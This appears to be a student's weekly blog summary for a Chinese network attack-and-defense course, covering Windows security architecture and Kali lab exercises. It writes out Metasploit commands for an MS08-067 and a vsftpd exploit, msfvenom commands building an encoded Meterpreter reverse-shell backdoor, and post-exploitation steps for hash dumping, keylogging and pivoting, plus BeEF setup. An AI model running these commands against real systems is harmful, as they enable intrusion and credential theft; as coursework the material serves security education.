20169208 2016-2017-2 《网络攻防实践》第七周学习总结
教材学习内容总结
Windows操作系统的基本结构:
分为运行于处理器特权模式的操作系统内核,以及运行在处理器非特权模式的用户空间代码。
Windows操作系统内核基本模块:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。
Windows操作系统在用户态的代码模块:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
Windows操作系统内核中实现的核心机制:Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows的网络机制。
Windows安全体系结构:
Windows操作系统基于引用监控器模型来实现基本的对象安全模型。其中最为核心的是位于内核中的SRM安全引用监控器,以及位于用户台的LSASS安全服务。
Windows身份认证机制:
Windows操作系统中以安全主题概念来包含所有进行系统资源访问请求的实体对象,有用户,用户组,和计算机三大类。其中用户组是为了简化用户管理而引入的用户账户容器。
Windows远程攻击技术:
远程口令猜测与破解攻击(最简单方法),攻击Windows网络服务,攻击Windows客户端及用户。
Metasploit
完全开源的渗透测试软件。Metasploit软件采用开发框架和模块组件的可拓展模型。以Ruby语言编写的MSF库最为整个软件的基础核心,为渗透测试组件的开发与测试提供平台。Metasploit提供多种用户接口,包括console交互终端,命令行程序运行,web交互界面以及GUI图形化界面。
教材实践
使用Metasploit软件攻击Windows上的MS08-067
首先打开Metasploit软件,并使用软件中针对Windows上的MS08-067的攻击库
RHOST为靶机的IP地址
LHOST为攻击机的IP地址
获得靶机的shellcode,并截取靶机当前的电脑屏幕
截取靶机屏幕结果图
教材学习中的问题和解决过程
问题:Metasploit handler failed to bind
解决方法:经过检查,实际上是攻击机的IP地址改变了,查看攻击机的IP地址后,修改LHOST,问题解决。
视频学习总结
1、kali漏洞检索与利用
(1)searchsploit
列举出漏洞和文件地址,相对目录是/usr/share/exploitdb/platforms
(2)pattern create
测试漏洞
armitage
结合MSF进行利用
(3)jboss-autopwn-linux/win
专门针对Jboss的漏洞利用工具
(4)ikat
自动化开启,等待目标访问中招。
(6)termineter
评估智能电表的安全性。
2、kali漏洞利用之Metasploit基础
(1)
Metasploit-framework在usr/share/metasploit-framework目录下
该目录下的modules目录
auxiliary 辅助模块
encoders 供msfencode编码工具使用
exploit 攻击模块
payloads 攻击载荷
post 后渗透阶段模块
(2)
msfpayload:用来生成payload或者shellcode
搜索的时候可以使用msfpayload -l |grep "windows"
-o 列出所需参数
msfencode:
msf中的编码器
msfconsole:
开启Metasploit的console,开启命令行界面。
(3)测试实例
扫描目标主机开启的服务
针对vsftpd搜索
发现有可利用的
选择exploit参数
set RHOST 172.16.6.119
设置payload
set payload cmd/unix/interact
对目标进行攻击测试,绿色标志攻击有效。
cat获得目标主机的一些文件
3、kali漏洞利用之meterpreter
meterpreter模块,Metasploit框架中的一个拓展模块,作为一出成功后的攻击载荷使用。
常用的命令:
background 将当前会话放置后台
load/use 加载模块
interact 切换进一个信道
migrate 迁移进程
run 执行一个已有的模块
resource 执行一个已有的rc脚本,可以自定义
(1)生成meterpreter后门
msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.6.119 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
在这之前,设置参数
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LPORT 2333
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.6.91 LPORT=2333 -f raw -e cmd/powershell_base64 -f exe -i 5 > /root/door1.exe
(2)开启handler,打开监听
set LHOST 172.16.6.91 #本地IP
exploit
(3)在目标主机打开door1.exe
(4)返回一个shell
(5)执行常见命令
sysinfo 查看系统信息
hashdump 抓取哈希
screenshot 抓取屏幕
keyscan_start 键盘记录
keyscan_dump
keyscan_stop
load 拓展工具
4、漏洞利用之Metasploit后渗透测试
(1)查看跳板机的网卡
ifconfig
(2)添加路由表
run autoroute -s 10.0.0.1
(3)开socks代理
search socks
use auxiliary/server/socks4a
axploit
(4)通过background和sessions -i可以自由切换进入session
(5)输入run可以看待在meterpreter上可以做的很多命令
(6)通过run post/可以看到后渗透测试的模块
(7)查看内网信息
run arp_scanner -r 目标IP地址段
内网端口转发
upload lcx.exe c:\ 上传到C盘根目录
5、漏洞利用之BeEF
对XSS漏洞的利用,BeeF是浏览器攻击框架的简称,专注于浏览器端的渗透工具。
使用3000端口
默认用户名:beef
默认密码:beef
http://127.0.0.1:3000/ui/authentication
http://127.0.0.1:3000/demos/basic.html
可以在commands模块发送攻击命令
颜色不同代表攻击模块是否可用,隐蔽性强度。
(1)试验:
JavaScript弹出窗口
效果图
(2)proxy
借助目标浏览器,访问目标可以访问的内容
使用说明:
(3)beef和Metasploit结合
cd /usr/share/beef-xss
修改该目录下config.yaml中,metasploit改为true
cd extensions/metasploit
修改该目录下config.yaml中,host和callback_host,都设置为主机IP地址,修改custom路径为/usr/share/metasploit-framework/
完成后,打开msfconsole
load msgrpc ServerHost=自己主机IP地址 Pass=abc123(默认密码)
进入beef-xss根目录
cd /usr/share/beef-xss
执行
./beef -x
加载完成后重启服务
service beef-xss restart
完成后重新加载网页,发现多了很多Metasploit模块
视频学习中的问题和解决过程
问题:生成meterpreter后门出错,找不到msfpayload和msfencode命令
解决方法:新版kali中没有msfpayload和msfencod,使用msfvenom,msfvenom结合了payload 和encode的功能
部分参数:
-p,--payload <负载>负载使用。指定' - '或标准输入使用自定义负载
-l,--list [的module_type]列出一个模块类型。选项包括:有效载荷,编码器,空指令,所有
-n,--nopsled <长度> [长度]大小对有效载荷在前面加上nopsled
-f,--format <格式>输出格式(使用--help-格式列表)
-e,--encoder [编码器]编码器使用
-a,--arch <架构>的架构使用
--platform <平台>有效载荷的平台
-s,--space <长度>所得有效负载的最大尺寸
-b,--bad-字符<列表>字符列表,以避免例如:' X00 XFF“
-i,--iterations <计数>的次数,以有效负载进行编码
-c,--add代码<路径>指定一个额外的win32 shellcode的文件,包括
-x,--template <路径>指定一个自定义的可执行文件作为模板使用
-k,--keep保存模板行为和有效载荷为一个新的线程注入
--payload-选项列表中的有效载荷的标准选项
-o,--out <路径>保存有效载荷
-v,--var名<名>指定用于某些输出格式的自定义变量名称
-h,--help显示此消息
--help-格式列出可用的格式
需要注意的是:
1、-a
arch:x86 是指生成的payload只能在32位系统运行
arch:x86_64 是指模块同时兼容32位操作系统和64位操作系统
arch:x64 是指生成的payload只能在64位系统运行
注意:有的payload的选项为多个:arch:x86_64,x64
需要-a参数选择一个系统架构。
2、-e
选择一个encode框架
有多个encode框架:
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
kali视频中实际采用框架为cmd/powershell_base64
执行命令对应修改为:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.6.91 LPORT=2333 -f raw -e cmd/powershell_base64 -f exe -i 5 > /root/door1.exe
成功
其他
本周学习了针对Windows操作系统的攻击和安全防范。
上周错题总结
1、下面哪些Linux 命令可以ASCII码和16进制单字节方法输出Hello.java的内容?
A .
od -b -tx1 Hello.java
B .
od -tcx1 Hello.java
C .
od -tc -tx1 Hello.java
D .
od -tbx1 Hello.java
正确答案为BC
2、ARP欺骗破坏了信息的完整性。()
A .
True
B .
False
正确答案为B
3、netfilter/iptables的规则表中,可以进行源IP和端口转换的是?
A .
filter表
B .
trans表
C .
nat表
D .
mangle表
正确答案: C
学习进度条
学习目标(本学期)
完成网络攻防课程的学习,完成各种攻防实践操作。
第二周进度
- 《网络攻防技术与实践》课程学习了第一章和第二章
- 学习kali视频5个
- 详细查找了解了两个网络安全工具
- 查找两个黑客资料
第三周进度
- 学习视频6-10
- 学习课本第三章
- 完成第三章课后作业
第四周进度
- 网络嗅探的理论与工具
- 网络协议分析的理论与工具
第五周进度
- Web架构
- HTTP协议
- Web应用安全
- Web浏览器安全
第六周进度
-
理解TCP/IP攻击的原理
-
了解安全模型
-
掌握常见的网络安全
-
上周目标完成情况
完成 -
本周学习计划
-
掌握windows系统架构
-
掌握windows系统安全架构和机制
-
掌握windows系统安全攻防技术
-
牚握Metasploit的使用
学习内容 | 学习时间 |
---|---|
课本7章学习 | 5小时 |
kali视频21-25 | 5小时 |
实践练习 | 4小时 |
整理写博客 | 3小时 |